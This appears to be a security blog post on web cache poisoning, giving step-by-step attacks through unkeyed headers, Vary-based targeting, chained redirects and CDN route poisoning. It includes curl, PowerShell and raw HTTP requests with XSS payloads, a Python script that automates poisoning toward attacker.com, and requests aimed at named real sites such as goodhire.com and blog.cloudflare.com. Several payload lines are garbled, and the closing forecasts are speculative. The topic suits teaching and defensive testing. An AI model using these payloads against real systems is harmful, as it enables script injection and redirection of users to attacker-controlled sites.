Web Cache Poisoning Exposed: How Attackers Hijack CDNs and Poison Your Traffic – A Red Teamer’s Deep Dive + Video

Listen to this Post

Featured Image

Introduction

Web cache poisoning manipulates intermediary caches (CDNs, reverse proxies, load balancers) into storing a malicious response generated by an attacker. When a victim requests the same resource, the poisoned cache serves the attacker’s payload – ranging from XSS and account takeover to full-site redirection. This attack exploits discrepancies between how a cache key is calculated (typically based on request line and certain headers) and how the backend application processes unkeyed inputs like X-Forwarded-Host.

Learning Objectives

  • Identify cacheable responses and unkeyed headers that lead to poisoning opportunities.
  • Execute step‑by‑step cache poisoning attacks using Burp Suite, curl, and custom payloads.
  • Implement robust mitigation strategies including proper `Cache-Control` directives, input validation on unkeyed headers, and Vary response headers.

You Should Know

1. Basic Cache Poisoning with Unkeyed Headers

Many caches do not include headers like `X-Forwarded-Host` or `X-Host` in the cache key. An attacker can inject a malicious value that gets reflected in the cached response, e.g., an `` tag pointing to an attacker-controlled domain.

Step‑by‑step guide (Linux / Burp Suite)

  1. Identify a cacheable endpoint – Look for `Cache-Control: public, max-age=…` or X-Cache: hit/miss.
  2. Inject an unkeyed header – Send a request with X-Forwarded-Host: evil.com.
  3. Observe reflection – Check if the response uses the injected header inside a tag.
  4. Poison the cache – Repeat the request; if the cache stores it, every subsequent user sees the poisoned content.

Linux command example

curl -i -H "X-Forwarded-Host: evil.com" https://vuln-site.com/
 Look for Cache-Control: public, no-cache and reflection of evil.com in HTML

Windows (PowerShell)

Invoke-WebRequest -Uri "https://vuln-site.com/" -Headers @{"X-Forwarded-Host"="evil.com"}

XSS payload variation

GET / HTTP/1.1
Host: vuln.com
X-Forwarded-Host: a\"><script>alert(1)</script>

If the backend concatenates the header into an `href` without sanitisation, the payload executes.

2. Seizing the Cache via Header Aliases

Some CDNs (e.g., Varnish) treat multiple headers as equivalent. `X-Host` may override the `Host` header. By sending X-Host: evil.com, you can force the cache to retrieve and store a resource from an external server.

Step‑by‑step

  1. Detect Varnish – Look for `Via: 1.1 varnish-v4` in response headers.

2. Test `X-Host` – Send `X-Host: attacker-controlled.com/js.js`.

  1. Confirm poisoning – Check `Age` header increasing; if `Age` > 0 and the response contains your external script, you have seized the cache.

Exploit snippet

GET / HTTP/1.1
Host: unity3d.com
X-Host: evil.com

The response may contain `` – that script will be served to all users.

Mitigation check – Use `curl` to verify that no unkeyed header alters the response:

curl -s -D - -o /dev/null -H "X-Host: test" https://target.com | grep -i "cache"

3. Selective Poisoning Using the Vary Header

The `Vary` header tells the cache to include additional request headers in the cache key (e.g., User-Agent). If an attacker can control a reflected value that depends on a Vary-ed header, they can poison the cache only for victims with that specific header value.

Step‑by‑step

  1. Identify `Vary` – Look for Vary: User-Agent, Accept-Encoding.
  2. Craft a payload – Inject XSS inside a header that differs per User-Agent, e.g., X-Forwarded-Host: a"><iframe onload=alert(1)>.
  3. Send request using a specific `User-Agent` that the backend uses to generate the response.
  4. Poison for one user‑agent group – Only victims with the exact `User-Agent` will receive the poisoned cache.

Example request

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Firefox/60.0)
X-Forwarded-Host: a">

<

iframe onload=alert(1)>

Testing with `curl`

curl -H "User-Agent: Mozilla/5.0 (Firefox/60.0)" -H "X-Forwarded-Host: a\">

<

iframe onload=alert(1)>" https://redacted.com/ -i

4. Chaining Unkeyed Inputs to Bypass Protections

Sometimes a single unkeyed header is not enough; but two or more can be chained. For example, `X-Forwarded-Host` sets a cookie domain, and `X-Forwarded-Scheme` triggers a redirect that uses that domain.

Step‑by‑step (three‑step chain)

  1. First step – Set cookie domain via X-Forwarded-Host: xyz.
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Host: xyz
    
  2. Second step – Force a redirect using X-Forwarded-Scheme: nothttps.
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Scheme: nothttps
    

    Response: `301 Moved Permanently Location: https://redacted.net`

  3. Third step – Combine both to redirect to attacker.com.
    GET /en HTTP/1.1
    Host: redacted.net
    X-Forwarded-Host: attacker.com
    X-Forwarded-Scheme: nothttps
    

    Response: `Location: https://attacker.com/en` → cache stores this redirect.

Automation with Python

import requests

url = "https://redacted.net/en"
headers1 = {"X-Forwarded-Host": "xyz"}
headers2 = {"X-Forwarded-Scheme": "nothttps"}
headers3 = {"X-Forwarded-Host": "attacker.com", "X-Forwarded-Scheme": "nothttps"}
requests.get(url, headers=headers1)
requests.get(url, headers=headers2)
r = requests.get(url, headers=headers3)
print(r.headers['Location'])  Should be https://attacker.com/en

5. Route Poisoning via Cloud‑Based CDNs (HubSpot Example)

HubSpot allows customers to host content on their own domains (goodhire.com). The backend uses `X-Forwarded-Host` to determine which HubSpot site to serve. An attacker can point `X-Forwarded-Host` to their own HubSpot page that contains a malicious script.

Step‑by‑step exploit

  1. Register a free HubSpot account – Get a subdomain like portswigger-labs-4223616.hs-sites.com.
  2. Create a payload – Upload a page with <script>alert(document.domain)</script>.

3. Poison the target’s cache – Send:

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com

4. Verify – The cache returns your HubSpot page under goodhire.com, executing your script.

Windows / Linux universal `curl` command

curl -H "X-Forwarded-Host: YOUR-HUBSPOT-SUBDOMAIN.hs-sites.com" https://www.goodhire.com/ -I

If response status is `200` instead of `404` and contains your script, route poisoning succeeded.

6. Hidden Route Poisoning (Ghost + Cloudflare)

When a user sets a custom domain (e.g., blog.cloudflare.com) for their Ghost blog, the original `ghost.io` subdomain redirects to the custom domain. An attacker can force the cache to store this redirect to an attacker-owned domain by poisoning the `Host` or X-Forwarded-Host.

Step‑by‑step

  1. Find a Ghost‑powered site – Look for `X-Powered-By: Ghost` or Via: cloudflare.
  2. Send a request with `X-Forwarded-Host` pointing to a valid `ghost.io` subdomain
    GET / HTTP/1.1
    Host: blog.cloudflare.com
    X-Forwarded-Host: noshandnibble.ghost.io
    
  3. Observe the redirect – The response is `302 Found Location: http://noshandnibble.blog/`.
  4. Replace the subdomain – If `noshandnibble.ghost.io` redirects to your own blog, you control the final location.

Hardening guidance – Never trust `X-Forwarded-Host` or `X-Host` to generate internal redirects. Use a whitelist of allowed domains.

What Undercode Say

  • Cache keys are only as strong as their input set – Every missing header in the cache key is a potential injection point. Always audit which headers influence the cache.
  • Chaining increases impact – A single reflected payload might be low risk, but combining cookie domain control with a scheme-based redirect can turn a misconfiguration into full account takeover.
  • Real‑world examples (HubSpot, Ghost, Cloudflare) show that CDN and CMS integrations are prime targets. Even big vendors have suffered from these flaws.

Analysis

Web cache poisoning is not theoretical – it has compromised major platforms including GitHub, Shopify, and Reddit. The core issue is the mismatch between how caches (designed for performance) and application frameworks (designed for flexibility) parse headers. Attackers no longer need to brute‑force or phish; they simply wait for a victim to hit the poisoned URL. The rise of serverless and edge computing (Cloudflare Workers, Varnish, Fastly) amplifies this risk because each edge node maintains its own cache. A single poisoned request can geo‑distribute malware. Defenders must shift from reactive patching to proactive cache key auditing, using tools like `cache-poisoning-scanner` or custom Burp extensions. Additionally, strict `Content-Security-Policy` with `script-src ‘unsafe-inline’` disabled can mitigate XSS from cache poisoning, but it won’t stop redirect‑based attacks.

Prediction

By 2026, automated cache poisoning will be a standard module in red team frameworks (e.g., Metasploit, Covenant). As more organisations adopt edge caching without understanding unkeyed headers, we will see a surge in mass‑poisoning campaigns that deliver ransomware downloaders or credential harvesters via trusted domains. Consequently, CDN providers will be forced to introduce “cache key strictness” modes that reject ambiguous headers by default. Meanwhile, bug bounty programmes will raise bounties for cache poisoning to critical levels ($10k+), and OWASP will likely add a dedicated category for “Cache & CDN Injection” in the next Top 10. The only sustainable defence is to design applications that never reflect unkeyed header values into cacheable responses – or use a cryptographic signature over the entire request context before caching.

▶️ Related Video (72% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Deepmarketer Web – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky